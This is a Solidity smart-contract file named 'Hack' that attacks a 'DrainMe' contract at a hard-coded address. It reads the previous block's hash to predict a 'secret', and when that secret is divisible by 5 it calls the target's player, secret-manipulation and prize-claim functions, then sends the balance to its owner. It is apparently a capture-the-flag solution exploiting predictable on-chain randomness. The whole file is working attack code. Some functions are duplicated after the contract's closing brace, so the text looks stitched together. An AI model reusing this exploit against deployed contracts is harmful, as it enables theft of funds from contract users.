contract Hack{
    
    DrainMe contr = DrainMe(0xB620CeE6B52f96f3C6b253E6eEa556Aa2d214a99);
    
    address owner;
    
    function Hack(){
        owner = msg.sender;
    }
    
    //function put() payable public {
     //   require(msg.sender == owner);
     //   address(contr).transfer(msg.value);
    //}
    
    function putHere() payable public {
        require (msg.value >= 0.03 ether);
        require(msg.sender == owner);
    }
    
    event test1(bool);
    event what(uint256);
    function test() public payable {
        //require (msg.value >= 0.03 ether);
        require(msg.sender == owner);
        bytes32 hash = keccak256(blockhash(block.number-1));
        uint256 secret = uint256(hash);
        what(secret);
        if(secret%5==0){
            contr.DranMe();
            contr.becomePlayer.value(0.02 ether)();
            contr.manipulateSecret.value(0.01 ether)();
            contr.claimPrize();
            msg.sender.transfer(address(this).balance);
            test1(true);
        }
        else{
            test1(false);
        }
        
    }
      
    function take() public {
        require(msg.sender == owner);
        msg.sender.transfer(address(this).balance);
    }
    
    function() public payable {}
    
    
}
function putHere() payable public {
    require (msg.value >= 0.03 ether);
    require(msg.sender == owner);
}

//function put() payable public {
//   require(msg.sender == owner);
//   address(contr).transfer(msg.value);
//}